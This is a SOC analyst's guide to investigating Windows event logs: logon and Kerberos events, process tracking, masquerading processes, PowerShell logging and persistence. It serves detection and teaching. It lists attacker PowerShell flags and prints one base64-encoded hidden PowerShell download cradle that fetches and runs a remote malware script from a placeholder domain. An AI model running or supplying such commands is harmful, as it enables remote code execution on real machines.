Investigating with Windows Event Logs
As you know, the most used Operating System (OS) worldwide is Microsoft Windows. Attackers know this, and every day, they develop new malware and techniques to target Microsoft Windows OS platforms. As a SOC analyst, you must understand the provided event logs by Microsoft in Windows environments that help you to investigate and detect cyber breaches
Windows event types
Windows event logs are detailed records of most events happening on a system. Those detailed records originated from Microsoft to help system admins to troubleshoot and diagnose system problems. Examples of the events that trigger event logs on the Microsoft OS are successful or failed authentication, system rebooting, and process creation
Microsoft event logs are stored in the C:\Windows\System32\winevt\Logs
This location can be changed by modifying the file registry key that refers to the storage location for Windows logs.
This registry key is located under the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog<EventLogName> registry hive.
we will divide this section into four subsections:
• Security event log types
• System event log types
• Application event log types
• Other event log types
Security event log types
The security event log type is the most valuable log type generated by the Windows OS, as by analyzing this log file, you will be able to fully track user activity and behavior, since the security log file includes records for all the following categories:
• Logon events: Records for every login attempt activity of the system, including either success or failure logins, as well as the logoff activity.
• Logon validation events: Records for every credential’s validation activity. This type of event exists on a machine that validates the login credentials; hence in the case of a domain environment, such an event will be generated on the domain controller, and in the case of local account authentication, such an event will be generated on the machine itself.
• Object access events: Records for every access to shared files and folders and objects that have a system access control list specified, such as files, folders, and registry keys.
• Account management events: Records for every account management and change activity, such as account creation, deletion, enabling, disabling, additions to a new group, and password changes.
• Privilege use events: Records for every admin-privileged account login success to a system.
• Process tracking events: Records for every process starting and exiting activity
System event log types
The system event log type is more important to system admins to troubleshoot and diagnose system problems, but it also includes some useful records for security analysts, as follows:
• System startup and shutdown: Records for every Windows startup, shutdown, and time change
• Services status: Records for every Windows services activity, such as creation, starts, and stops
• Firewall status: Records for every Windows firewall activity, such as enabling, starts, and stops
Application event log types
The application event log type contains events logged by any application configured to store its logs in a Windows application log file. Such configurations can be determined by the developers during application development.
The application logs may contain event logs generated from applications such as the antivirus or a database.
Other event log types
Windows event log types are not limited to security, The most valuable log files of these events are as follows:
• PowerShell logs: There are two event log files that record PowerShell activities, such as execution, command-line arguments, and fully executed scripts
• Scheduled tasks logs: These event log files contain records of scheduled task creation, start, and stop activities
• RDP logs: These event log files contain records to track Remote Desktop Protocol (RDP) connections
• WMI logs: These event log files contain records of Windows Management Instrumentation (WMI) event consumer creations
To analyze the extracted logs from the Windows machine offline,you can use the Event Log Explorer tool. It is GUI third-party event log management software that supports the EVT and EVTX file formats.
Also, there is another option, a free tool called EvtxECmd, which is a command-line tool used to parse and analyze Windows event log files, specifically the .evtx file format.
You can download the tool from following link: (https://f001.backblazeb2.com/file/EricZimmermanTools/ EvtxECmd.zip).
Account login tracking
Microsoft gives you the ability to track every login attempt that either succeeded or failed by recording event logs for each login attempt. These events include valuable information, such as attempt time, account name, authentication method, and so on. All the authentication logs are logged in the Security log file
we will divide this section into five subsections:
• Windows accounts
• Tracking successful logins
• Tracking successful administrator logins
• Tracking logon sessions
• Tracking failed logins
Windows accounts
Standard Windows accounts are basic Windows accounts, such as those created for an employee by their organization’s system admin to use for normal day-to-day tasks
the account will be able to perform common tasks such as running applications, accessing files and folders, and browsing the internet. However, they cannot perform actions that require elevated privileges, such as installing software, changing system settings, or accessing certain system
If a standard account is compromised, the attacker will have limited access to system resources and will not be able to perform critical tasks without elevating their privileges.
Default local system accounts
Every Windows application, process, and service must run under the context of an account with appropriate security privileges
SYSTEM: The SYSTEM account is the most powerful account of all the default local system accounts. The SYSTEM account has complete control over the system and can access all resources and objects. There are many high-privilege services and processes in the Windows operating system that run under the context of the SYSTEM account.
NETWORK SERVICE: The NETWORK SERVICE account is a local system account on the Windows operating system with limited privileges but enough to be used by specific Windows services and processes to authenticate over the network. It does this by presenting the computer’s credentials to remote servers. Unlike the SYSTEM account, which has complete control over the system, the NETWORK SERVICE account has restricted privileges, similar to a standard account, and can only access resources that it has been explicitly granted access to. This makes it a more secure option for services and processes that do not require the same level of access as the SYSTEM account
LOCAL SERVICE: The LOCAL SERVICE account is a local system account with limited privileges, similar to the NETWORK SERVICE account, but it is not allowed to present the computer’s credentials to remote servers. Instead, it uses null sessions for network communications. The LOCAL SERVICE account is used by the processes and services they run with limited privileges locally on the system and is not required to authenticate over the network
Tracking successful logins
Tracking the successful authentications for Windows accounts is very valuable for SOC analysts to investigate and hunt for suspicious users’ activities
Microsoft allows you to track any successful account logins into systems by recording Event ID 4624
which is An account was successfully logged on
Let’s discuss the sections that are valuable to our investigations
• Subject: This section holds the details of the account that requested the logon, not the user who logged on. For Event ID 4624, the values of the Subject section are usually empty and not useful.
• Logon Information: This section refers to information about the logon itself. The most valuable piece of information in this section is Logon Type.
The Logon Type field allows the analyst to identify the logon method and how the user logged on to the system. The logon types are identified by a numeric value and each value corresponds to a specific logon method, as follows
• New Logon: This section includes information about the user whose credentials were used to successfully log on to the system (the user who logged on to the system). The valuable fields in this section for incident investigations are Account Name, Account Domain, and Logon ID:
Account Name: The account that’s logged on to the system.
Account Domain: The domain of the account that’s logged on to the system. This field is useful to identify if the account that was used to log on is a local account by comparing the value of this field with the computer’s name. If the two names match, then the account is a local account
Logon ID: A unique session identifier for every logon session. We use this field to identify the session’s duration
• Process Information: This section includes information about the Windows process that initiated the logon activity.
This field may help you observe any unusual process that initiated the logon activity other than the standard Windows logon processes.
• Network Information: This section allows you to determine from which system the user entered the credentials to log on to the system.
If the logon attempt was initiated from the same computer, this field will be empty or contain the same computer information (IP and Name). This field’s values are very valuable while investigating lateral movement attempts,
Event ID 4624 is highly valuable for SOC analysts for incident investigation and threat hunting. This event can be used to identify compromised accounts’ activities, including the machines the account logged on to, the timing of the activities, the logon method used, and the location of the logon in case of remote login. Additionally, it can be used to detect anomalies such as RDP logins to workstations from other regular workstations or public IPs, successful logins outside of regular working hours, unauthorized network share access, and more.
Tracking successful administrator logins
Administrative privilege accounts are the most sensitive accounts that a SOC analyst should investigate and track during a cyber incident investigation.
Microsoft allows you to track every successful administrator account login into systems by recording Event ID 4672, called Special privileges assigned to new logon
the event log consists of two sections.
The first section contains information about the administrative privilege account, such as Security ID, Account Name, Account Domain, and Logon ID, while the second section contains detailed information about the administrative privileges that the account has.
For this example, this event indicates that an administrator account named pbeesly logged on to the system.
Tracking logon sessions
every account login session has a unique Logon ID. This Logon ID allows you to track users’ activities during the logon session, as well as identify the duration of the session. Most of the events in the Security log file contain the Logon ID field value, which you can use to track user activities such as process execution, object access, and so on during the same logon session.
You can also use the Logon ID value for interactive logon sessions such as logon types 2, 10, 11, and 12 to identify the logon session’s length. For the other logon types, such as logon type 3, this field value won’t be useful as you will notice that the session started and ended instantly because the session starts when you request to access the shared resource and ends once the resource has been accessed.
it is necessary to correlate between the Event IDs that represent the start and end of the session. For instance, to determine the length of an account’s logon session, SOC analysts can correlate between the successful logon Event IDs, such as 4624 or 4672, and the logoff session IDs, such as 4647 or 4634. This will provide a clear view of how long a user has been active on the system, which can be valuable information while investigating security incidents.
Tracking failed logins
One of the first objectives an attacker has after gaining initial access to the victim’s machine is to elevate their security privileges. One of the privilege escalation techniques is to gain valid privilege account access by brute-forcing or password-spraying admin and high-privilege accounts. Therefore, tracking the account’s authentication failure is very valuable to SOC analysts as they can investigate or detect such activities. Microsoft records every authentication failure attempt by generating Event ID 4625, called An account failed to log on.
This event contains very valuable information, such as the failure timestamp, logon account, logon account domain, logon type, and logon failure reason.
This event is generated when a logon request fails. It is generated on the computer where access was attempted.
The Failure Information section includes information about the authentication failure reason and consists of three fields: Failure Reason, Status, and Sub Status.
In most cases, the Failure Reason and Status fields mean the same thing – the only difference is that the Failure Reason value is textual,
the Status value is a hexadecimal code. Sub Status is a hexadecimal code that provides a specific and accurate reason for the logon failure
Event ID 4625 is valuable for SOC analysts in investigating and detecting password-cracking attacks such as password brute-forcing and password spraying. Also, the Failure Reason section, especially the Sub Status field, is valuable for identifying the logon failure reason and investigating suspicious reasons such as a username not existing, which may indicate that an attacker is guessing usernames to log in, and someone logging in using a disabled account, which may indicate abnormal authentication activities
after a certain number of login failure attempts when using an account, the account will be locked for a period that is also predefined by the policy. When this occurs, Microsoft records Event ID 4740, called A user account was locked out
Login validation events
Login validation events are the events of the Credential validation results. While logon events such as 4624, 4625, and 4672 are recorded on the workstation that the user tried to log into, the login validation events are logged by the system responsible for authenticating the credentials.
in the case of domain account authentications, the domain controller serves as the authentication server and logs the login validation events, while in the case of local account authentications, the workstation authenticates the logon credentials using the local SAM database and the logon validation events are recorded in the workstation itself. Such events are valuable for tracking local account authentication attempts in your organization
Login validation Event IDs (NTLM protocol)
Event ID 4776 records both successful and failed attempts regarding credentials validation when the NTLM protocol is used.
Authentication Package: This indicates which authentication package was used. "MICROSOFT_AUTHENTICATION_PACKAGE_V1_0" is indicative of NTLM authentication.
Logon Account: This field indicates the account name for which validation was attempted. In the given example, the account name is "medhat".
Source Workstation: This shows the name of the workstation or computer from which the authentication request originated. In the example, it's "win-2".
Error Code: This provides more detailed information about the reason for the failure. "0xC000006A" usually indicates a correct username but incorrect password.
It's crucial for administrators to monitor this event, especially for large numbers of failed attempts, as it can indicate brute force attacks or other malicious activity.
Login validation Event IDs (Kerberos protocol)
• Event ID 4768: This event records a Ticket Granting Ticket (TGT) being created, which means that the authentication process succeeded over the Kerberos authentication protocol and a TGT has been granted to the user for a certain period.
• Event ID 4769: This event records when the DC successfully authenticated the credentials over Kerberos and granted the user a service ticket to access the server resources, such as shared files and folders.
• Event ID 4771: This event records pre-authentication failures, which means that the domain controller failed to validate the provided credentials, so the DC won’t grant TGT or Ticket Granting Service (TGS) tickets.
Event ID 4771 indicates a Kerberos pre-authentication failure. Kerberos is an authentication protocol used in Windows Active Directory environments. When a user attempts to log on, the system performs pre-authentication to confirm the user's password is correct without actually sending the password over the network.
A 4771 event is logged on the domain controller when this pre-authentication fails, which could be due to various reasons such as a bad password or time synchronization issues.
Here's an example of what the event log might look like for a failed Kerberos pre-authentication:
Failure Code: This provides the specific reason for the pre-authentication failure. The code "0x18" specifically indicates a bad password, but other codes might represent other failure reasons.
Pre-Authentication Type: This field indicates the type of pre-authentication used. For example, type "2" indicates Kerberos.
Status and Sub Status: These codes provide additional information about the failure. In the example given, "0xC000006D" indicates a logon failure, and "0xC000006A" indicates the username is valid but the password is incorrect.
Monitoring 4771 events is vital for administrators, as a surge of these events could indicate potential brute-force or password-spray attacks.
Account and group management tracking
Microsoft records several events that allow you to track account and security group management activities such as account creation, account deletion, account disablement, group creation, adding and removing accounts from security groups, and changes made to accounts
• Tracking account creation, deletion, and change activities
• Tracking creation and account adding to security groups
Tracking account creation, deletion, and change activities
Microsoft allows you to track account creation, deletion, and change activities by recording several events in the Security Event log file.
The most valuable of these events is Event ID 4720, which records new account creation activities. This event is particularly useful for detecting an attacker’s attempts to maintain persistence in the compromised environment by creating new accounts
Also, an attacker may create a new account and add it to a high-privilege group by performing a privilege escalation technique to ensure that they can access the system
By monitoring this event, administrators can keep track of user account management activities in their environment, ensuring that only authorized accounts are created and that they adhere to organizational policies and standards.
Tracking creation and account adding to security groups
The Active Directory security groups are used to assign specific security privileges to their members, so the privileges of the accounts can be inferred from the security group they are members of.
To identify the privileges of a newly created account, you can look for another event that indicates the group to which the account has been added. This event will occur after the account creation event and will allow you to determine the account’s privileges based on its security group membership
This event is generated when a user is added to a security-enabled global group. It is generated by the domain controller where the group resides.
There are other events for adding and removing accounts to/from security groups. These events have a similar structure to the account creation event, but the difference is in the action and the type of security group that the account becomes a member of or removed from
, Microsoft also records the security groups’ creation and deletion activities
Investigating Suspicious Process Execution Using Windows Event Logs
• Introduction to Windows processes
• Windows process types
• Windows process tracking events
• Investigating suspicious process executions
Windows processes are programs running in the background carrying out Windows operations and program or application execution on a Windows operating system. Each process has its own memory space and resources allocated to it. Everything in the Windows environment, such as account login, file access, memory sections, running DLLs, program and application executions, and so on are tied to a process. Windows processes run in memory with their associations, and you can view the running process on a live machine by either using a command-line tool such as the Tasklist tool or by using a GUI tool such as the Task Manager tool
Each Windows process has the following aspects:
• A process name, which refers to the name of the executed program in the background.
• A process ID, which is a unique dynamic identifier for each running process in a single Windows operating system.
• A process path, which refers to where the process file is located and executed. • A username that defines under context of which user the process is running which helps to determine the security privileges the process is running with.
• A command-line argument, which refers to the process arguments, options, and switches. The process command line is usually used to tell the process what to do.
• Most Windows processes have a Parent process that spawned them
Windows process types
• Standard Windows processes
• Non-standard Windows processes
The standard Windows processes are processes that are developed by Microsoft and exist on Windows platforms for the operating system’s operations such as the boot, login, and services operations.
Non-standard processes are processes that are not developed by Microsoft and do not exist by default installation of the Windows platforms. These processes may be legitimate, such as custom in-house software, or they may be malicious, such as malware or other unauthorized programs.
Common standard Windows processes
Understanding those processes and their normal behavior will help you to observe any abnormal behavior, as well as to detect malware trying to hide in plain sight by using similar names or even the same name and running from different locations
Process Hacker is a free tool that helps you to explore and investigate the running processes, services, and network communications conducted by processes on live Windows systems.
System: A kernel-mode process that is responsible for threads that run in kernel mode:
• Process name: System
• Process path: N/A
• Username: SYSTEM
• Number of instances: One •
Parent process: N/A
Session Manager (smss.exe): The session manager process is the first user-mode process that is responsible for creating new sessions in a Windows operating system.
The first instance of smss. exe is the master instance, which then creates new instances of the smss.exe process for each new session by starting the csrss.exe process and then wininit.exe for session 0, which handles the Windows services, or winlogon.exe for session 1 and higher to handle users logging in:
• Process name: smss.exe
• Process path: %Systemroot%\System32\smss.exe
• Username: SYSTEM
• Number of instances: One for the master instance plus one for each new session creation
• Parent process: System
Client Server Runtime Subsystem (csrss.exe): The csrss.exe process instance is created for every new session to manage the processes and threads and import DLLs that provide the Windows API:
• Process Name: csrss.exe
• Process Path: %Systemroot%\System32\csrss.exe
• Username: SYSTEM
• Number of instances: One per session
• Parent process: N/A (created by the smss.exe instance but it does not appear as a parent process in any analysis tool)
Windows initialization (wininit.exe): The process that represents session 0 and is responsible for initializing the Service Control Manager (services.exe), and the Local Security Authority process (lsass.exe):
• Process name: wininit.exe
• Process path: %Systemroot%\System32\wininit.exe
• Username: SYSTEM
• Number of instances: One
• Parent process: N/A (created by an smss.exe instance but it does not appear as a parent process in any analysis tool)
Service Control Manager (services.exe): The process responsible for loading and launching the Windows services and drivers:
• Process name: services.exe
• Process path: %Systemroot%\System32\services.exe
• Username: SYSTEM
• Number of instances: One
• Parent process: wininit.exe
Service Host (svchost.exe): The process responsible for running and hosting service DLLs. There are multiple instances of svchost.exe – each instance uses the unique “-k” parameter in the command-line argument of the process instance to group similar services in one instance
: • Process name: svchost.exe
• Process path: %Systemroot%\System32\svchost.exe
• Username: SYSTEM, LOCAL SERVICE, or NETWORK SERVICE
• Number of instances: Many • Parent process: services.exe
Runtime Broker (RuntimeBroker.exe): The process that helps manage permissions on your PC for apps from the Microsoft Store by acting as a proxy between Windows Universal apps and privacy/security:
• Process name: RuntimeBroker.exe
• Process path: %Systemroot%\System32\RuntimeBroker.exe
• Username: The logged-in user
• Number of instances: One or more
• Parent process: svchost.exe
Local Security Authentication Service (lsass.exe): The lsass.exe process is responsible for authenticating users either against the domain controller for domain accounts or the SAM table for local accounts. It is also responsible for implementing the security policy and storing the authentication credentials in its memory section, making it a prime target for attackers trying to steal login credentials:
• Process name: lsass.exe
• Process path: %Systemroot%\System32\lsass.exe
• Username: SYSTEM
• Number of instances: One
• Parent process: wininit.exe
Windows Logon (winlogon.exe): The process that handles interactive user logins and logouts. This process is also responsible for loading the LogonUI.exe process to receive credentials from the user and then passing the provided credentials to the lsass.exe process for validation, either against the domain controller database or local SAM table:
• Process name: winlogon.exe
• Process path: %Systemroot%\System32\winlogon.exe
• Username: SYSTEM
• Number of instances: One for each interactive user login
• Parent process: N/A (created by the smss.exe instance but it does not appear as a parent process in any analysis tool)
Logon User Interface (LogonUI.exe): The LogonUI.exe process is responsible for handling the user interface for the Windows login screen. When a user attempts to log in, LogonUI.exe is launched to display the login screen and receive the user’s credentials. Once the user’s credentials are entered, LogonUI.exe passes them to the appropriate process, such as winlogon.exe or lsass.exe, for authentication and further processing:
• Process name: LogonUI.exe
• Process path: %Systemroot%\System32\LogonUI.exe
• Username: SYSTEM
• Number of instances: One or more
• Parent process: winlogon.exe
Windows Explorer (explorer.exe): The Explorer process is responsible for providing the user interface for the desktop, taskbar, and file manager in Windows.
It also provides access to system files, folders, applications, and features to logged-in users:
• Process name: explorer.exe
• Process path: %Systemroot%\explorer.exe
• Username: The logged-in user
• Number of instances: One for each interactive user login
• Parent Process: N/A
Windows Process Tracking events
you may now be wondering whether we can track the process creation activities using Microsoft Windows events.
Microsoft allows you to track every process creation and termination activity by recording two Event IDs in the security event log file:
• Event ID 4688 records every process creation activity
• Event ID 4689 records every process exit activity
Creator Subject: This provides details about the user or service that started the new process.
New Process Information: This offers details about the new process itself, including its path, command line arguments, and any parent process.
Token Elevation Type: This section is especially important in environments with User Account Control (UAC) as it indicates whether the process was started with elevated privileges.
%%1936: This is the Type 1 token, which is a full token that contains all security information, including privileges and group membership, without any modification. These tokens are only used when UAC is disabled or for certain built-in accounts such as administrator, service, or local system accounts
%%1937: This is the Type 2 token, which is an elevated token that includes all privileges and groups without any removed or disabled. This type of token is used when UAC is enabled, and the user chooses to run a program as an administrator. Also, this token is used when an application is configured to always require administrative or maximum privilege, and the user is a member of the Administrators group.
%%1938: This is the Type 3 token, which is a limited token with administrative privileges removed and administrative groups disabled. This limited token is used when UAC is enabled, the application does not require administrative privilege, and the user does not launch the application via Run as an administrator
Mandatory Label: Refers to the process integrity level that is used by Mandatory Integrity Control, which provides a mechanism for controlling access to securable objects. For instance, a process with a low integrity level cannot write to an object with a medium integrity level. As per Microsoft, the following table describes all available process integrity values for the Mandatory Label field
By monitoring and analyzing Event ID 4688, security teams can gain insights into what applications and services are running on their systems and identify any unexpected or malicious activity.
Event ID 4689 (A process has exited.)
we were able to determine the running duration of the process by correlating the process ID of the newly created process in Event ID 4688 with the same process ID as the exited process in Event ID 4689.
Investigating suspicious process executions
Hiding in plain sight
An attacker may name their malware with names similar to the common standard Windows process names, such as Svch0st.exe, scvhost.exe, lssas.exe, and so on, or even name a malware process with the same name as a common Windows process and then save and load it from a Windows path other than the one that the original legitimate process file was saved and is running from. Both techniques are utilized by attackers to hide in plain sight and evade detection efforts.
To effectively detect and investigate such suspicious activities, it is essential to know the common Windows standard process names, their full paths, and their expected parent processes.
. Here's a fictitious example of what you might find in a Windows Event Log with a process creation event (like Event ID 4688) that suggests the "hiding in plain sight" technique:
As you may have noticed, the svchost.exe process, in this case, is running from the C:\Windows path and, as we know the legit svchost.exe process should run from the C:\Windows\System32\ path. Also, the svchost.exe process has been spawned from the cmd.exe process, and, as you know, the expected parent process of a legitimate svchost.exe process is the services.exe process. If you are not aware of the standard Windows processes’ normal behaviors, you won’t be able to observe these techniques.
once you have a good understanding of the normal behavior of Windows standard processes, you can easily detect any malware process that is attempting to masquerade as a legitimate Windows process.
Because you will never know all of the normal behaviors and attributes in Windows, there is a useful platform called ECHOTRAIL that provides you with useful information about Windows processes, such as their process descriptions, expected full paths, top parent processes, and top hashes, and a security analysis of the process. By submitting the name or hash of a Windows process, whether standard or not, you can gain insights into its legitimacy and potential security risks. The platform is accessible here:
Living Off The Land (LOTL)
A LOTL attack is when an attacker decides to depend on the legitimate software and binaries available in the victim’s system to perform his malicious activities and achieve his objectives instead of uploading new malware and tools to the infected host to evade detection efforts. The most common examples of LOTL tools and binaries are Powershell.exe, cmd.exe, Rundll32.exe, net.exe, adfind.exe, ipconfig.exe, reg.exe, and wmic.exe
To document and provide information on the binaries, scripts, and libraries that can be used for LOTL techniques, the LOLBAS project was founded. The goal of this project is to create a comprehensive list of these tools, along with usage examples and detection mechanisms, to help defenders better understand and identify LOTL attacks
https://lolbas-project. github.io
Suspicious parent-child process relationships
A suspicious parent-child process relationship is when a process spawns an unexpected process or when the process has an unexpected parent process. Investigating the parent-child relationships of the process helps you to investigate the majority of malicious process execution activities, including the two previously discussed techniques (the hiding in plain sight and LOTL techniques)
Scenario 1: An attacker may gain initial access to the victim’s system by sending a weaponized Microsoft Office document. In this case, a Microsoft Office process such as the excel.exe or winword.exe process will appear in Event ID 4688 as a parent process spawning an unexpected process, whether a Windows utility such as Rundll32.exe and Mshta.exe or a Windows command and scripting interpreter process such as powershell.exe or cmd.exe to execute malicious code or scripts or even download additional payloads from an external server
Scenario 2: An attacker may inject their malicious code into a legitimate Windows process such as the svchost.exe or explorer.exe process to enforce the legitimate process to execute the malicious code and perform their malicious intents and actions. Execution via process injection is usually conducted to elevate privileges and evade detection by antivirus programs or other security measures
In general, after observing suspicious process execution activities, you can utilize the newly created process ID and parent process ID fields of Event ID 4688 to track the full process tree for the suspicious process. By analyzing the process tree, you can identify the source of the suspicious activity, such as the initial parent process that launched the chain of events leading to the suspicious process, and any subsequent child processes spawned by the suspicious process
we were able to track the full process tree spawned from the suspicious screensaver process, ‮cod.3aka3.scr. We started the investigation by identifying the process ID of the screensaver process, which was 0x214c. From there, by using the process ID value but this time searching for it as a creator process ID, we observed that this process spawned an unexpected cmd.exe process with the process ID 0xad4. To investigate further, we searched for 0xad4 as a parent process ID and discovered that it spawned the powershell. exe process. By tracing the process tree in this manner, we were able to identify the entire chain of processes spawned by the initial suspicious process and gain a better understanding of the attacker’s actions
Suspicious process paths
During the investigation of the process execution activities, you should pay attention to the full process path. The most common suspicious process paths are the user profile paths and Temp folders. Additionally, you may observe a non-standard Windows process running from the Windows system file paths, such as the System32 or SysWOW64 paths
there are several process executions from the Temp directory, which is a preferred directory for most attackers to use to save and execute their malicious binaries.
, it is important to note that during investigations, you may observe a malicious process running from a specific path, which we called the attacker’s working directory. In this case, for deep investigation and tracking, It is highly recommended to track any other process execution activities from this directory, as most attackers prefer to save all their collected files, scripts, and binaries in one directory
Investigating PowerShell Event Logs
PowerShell extended its functionality by depending on cmdlets (pronounced command-lets), which are collections of specific commands allowing PowerShell users to conduct specific tasks, such as remote to another system; display processes; and more.
Cmdlets follow a verb-noun naming pattern and commonly consist of three different entities – a verb, a noun, and an option: verb-noun[-parameter].
See some examples here:
• Get-Process -name svchost: The Get-Process cmdlet is used to obtain information about the processes running on a computer. By specifying the -name parameter followed by svchost, the command filters the results to only display processes with the exact name, svchost.
• Get-Command -Type Cmdlet: The Get-Command cmdlet is used to retrieve information about the commands available in PowerShell. By specifying the -Type parameter followed by Cmdlet, the command filters the results to only display cmdlets
• Why do attackers prefer PowerShell?
• It is installed and whitelisted by default on all Windows operating systems
• It generates few digital artifacts
• It provides remote access capabilities over an encrypted channel
• A growing community exists with available PowerShell penetration scripts ready to use
• Several attack and post-exploitation frameworks built on PowerShell exist and are available for everyone to use, such as Nishang, PowerSploit, Empire, and WinEnum
Usually, Windows system administrators use PowerShell for configuration and management in their day-to-day operations, which allows PowerShell malicious activities to blend into legitimate regular administration activities
• Attackers can lie on PowerShell in all attack phases
PowerShell usage in different attack phases
let us present a table that describes three PowerShell commands usually used by attackers to achieve malicious intents and objectives, along with an explanation of these commands
Execution
-w Hidden (hide the command window)
-ep bypass (bypass the execution policy)
-nop (don’t load any PowerShell profile)
-c (entering a command in the PowerShell window)
IEX, Invoke-Expression, or iex (evaluate and execute a string (mostly used for malicious purposes))
New-Object System. Net.Webclient). DownloadString (from the System.Net.WebClient library, load DownloadString to download content from a URI into a string variable)
Persistence
New-ItemProperty (cmdlet to create a new registry entry)
-Path (entering the path to create the new reg entry)
-PropertyType (identifying the type of the new reg entry)
-Name (entering the name of the new reg entry)
-Value (entering the value of the new reg entry)
Lateral movement
Enter-PSSession (cmdlet to initiate an interactive, remote PowerShell session)
-ComputerName (entering the remote computer name or IP)
-Credential (passing the login credentials to the remote system)
PowerShell execution tracking events
we will discuss three event logs that are valuable for investigating and tracking suspicious PowerShell execution activities. These events exist in two PowerShell event files
– Event ID 800 exists in the Windows PowerShell Event Log file and Event IDs 4103 and 4104 exist in the Microsoft-Windows-PowerShell/ Operational event log file
Microsoft has provided a new logging feature to log entire executed PowerShell script blocks. By default, the script block logging feature is disabled, but it automatically logs any suspicious script execution activities, even if script block logging is disabled. The script block logging feature records Event ID 4104, which records the executed PowerShell script block contents on the first execution
Event ID 4104 allows you to reconstruct the fully executed script by arranging and assembling the events that have the same ScriptBlock ID value.
You can reconstruct the script either manually by ordering and copying every section into any text editor such as Notepad to reconstruct the full script or by using automated scripts such as the ExtractAllScripts.ps1 PowerShell script at the following URL (https://gist.github.com/vikas891/841ac223e69913b49dc2aa9cc8663e34). That script allows you to reconstruct all scripts from 4104 events.
Then, you can conduct static and dynamic analysis by submitting the reconstructed scripts in a sandbox, uploading them to VirusTotal, or scanning them against YARA rules
Event ID 4104 provides great value when you investigate and track attackers who depend on PowerShell Scripts to achieve their objectives or investigate file-less attack techniques that depend on PowerShell to push the malicious code directly to memory.
Event ID 4103 does not provide robust details like Event ID 4104, but it is still useful, as it logs the executed modules and cmdlets
Event ID 800 recorded the same execution activities recorded by Event ID 4104 , the event records the executed command line, the username of the user at the command line, and the version of PowerShell.
Microsoft offers not only event logs but also two additional logging features for monitoring PowerShell execution activities. One of these features is called PSReadLine, which allows you to track the history of every command entered in the PowerShell console. This functionality is similar to the history command in Linux operating systems, but in the case of PowerShell, the history is stored in a dedicated file on the disk. By default, this history is saved in a TXT file located in the user’s AppData directory at C:\Users[USERNAME]\AppData\Roaming\Microsoft\Windows\PowerShell PSReadLine.
This feature ensures that you have a reliable record of PowerShell commands executed to facilitate analysis, auditing, and referencing purposes.
Investigating PowerShell attacks
Fileless PowerShell malware
Fileless malware, also known as memory-based malware, refers to a type of malicious code that runs directly in memory without leaving traces of traditional executable files on the system disk. An attacker may use a PowerShell cradle to download a malicious PowerShell script and execute it directly in memory to evade writing to the disk and evade being detected by defense mechanisms.
The following is an example of a common PowerShell cradle that uses the DownloadString function to download a malicious script from a remote server to be executed directly in memory:
In this case, you can find the execution evidence of the PowerShell cradle command by reviewing Event ID 800, and you can find and reconstruct the full content of the downloaded and executed PowerShell script in memory by reviewing Event ID 4104
Suspicious PowerShell commands and cmdlets
-NonInteractive (-noni) : A command-line argument used to not present an interactive shell prompt to the user
DownloadString : A function from the System.Net.WebClient library used to download content from a URI into a string variable.
DownloadFile : A function from the System.Net.WebClient library used to download content from a URI into a file
-ExecutionPolicy OR -ep : A command-line argument usually used to manipulate the execution policies that let you decide the conditions under which scripts can be run or not. Attackers usually used two execution policy decisions (-ExecutionPolicy Bypass or -ExecutionPolicy Unrestricted). The Bypass option runs any script run without warning and the Unrestricted option runs any unsigned scripts without warning.
-EncodedCommand, -e, OR -enc : An attacker may use encoded PowerShell commands to evade detection; to be executed successfully, attackers use the -EncodedCommand option. Example: "C:\Windows\System32 WindowsPowerShell\v1.0\powershell.exe" -nop -exec bypass -win hidden -noni -e cG93ZXJzaGVsbC5leGUgLWVwIGJ5cGFzcyAtbm9wIC1ub2V4 aXQgLWMgaWV4ICgoT mV3IE9iamVjdE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3 RyaW5nKOKAmGh0dHA6 Ly9zb2N0ZXN0Lnh5ei9tYWx3YXJlLnBzMeKAmSkp
Invoke-Command : Command usually used by attackers to execute commands on remote systems.
Enter-PSSession : Command usually used by attackers to enter an interactive PowerShell session with remote systems.
Invoke-WebRequest Command usually used by attackers to download malware to the infected machine from remote servers
Investigating Persistence and Lateral Movement Using Windows Event Logs
As an SOC analyst and incident responder, you must be aware of the common persistence and lateral movement techniques used by attackers and be able to detect and investigate them by analyzing the event logs provided by Microsoft.
Understanding and investigating persistence techniques Persistence
is the way that malware authors (attackers) maintain their access to a compromised system even after the system changes,
such as by rebooting, logging off, or credential change. To achieve persistence, attackers follow several methods and techniques, such as creating an account, adding a malware path to registry run keys, installing a service, creating a scheduled task, or developing a WMI consumer.
• Registry run keys
• Windows scheduled tasks
• Windows services
• WMI event subscription
Registry run keys
The Windows Registry is a hierarchical database that stores configuration settings, options, and information about the operating system, hardware devices, software applications, and user preferences on Microsoft Windows operating systems. It serves as a central repository for critical system and application settings
Registry consist of five Hives, the most important hives of them are HKEY_CURRENT_USER (HKCU) which stores configuration settings for the currently logged-in user, and HKEY_LOCAL_MACHINE (HKLM) which stores configuration settings for the entire computer system, applicable to all users.
Each registry hive include several registry keys such as the registry run keys. Registry run keys are registry keys that make a program run when a user logs on to a system. An attacker may achieve persistence by modifying existing or adding new value under the registry run keys to reference the malware path to be executed when a user logs in
Attackers can do so either by using the Windows built-in Registry Editor GUI tool or by using a command-line tool, such as the Windows built-in reg.exe tool. The following registry run keys are created by default on the Windows OSs:
•HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion RunOnce
•HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
•HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Microsoft allows you to investigate and detect suspicious access and additions or modifications to registry keys, including the registry run keys, by recording in the security log file a list of event IDs, as listed in the following table by their names:
all the event names refer to an Object except event ID 4657, which refers to the registry. This is because event IDs 4656, 4658, 4660, and 4663 are designed to record any access to any object, including the registry keys, while event ID 4657 is designed to audit changes in the registry keys
Windows scheduled tasks
Windows scheduled tasks are recurring predefined actions automatically executed whenever a certain set of conditions are met. An attacker may achieve persistence by creating a Windows scheduled task to recurring execution of his malicious code. A scheduled task can be created by using the GUI tool or command-line tools such as
The preceding command was executed by the APT3 group using the schtasks command-line tool to create a new scheduled task named mysc, to execute a malicious executable, C:\Users Public\test.exe, every time there a user logged in under the context of the System account.
Microsoft allows you to track the creation of new scheduled tasks by recording the event ID 4698, A scheduled task was created
Last updated
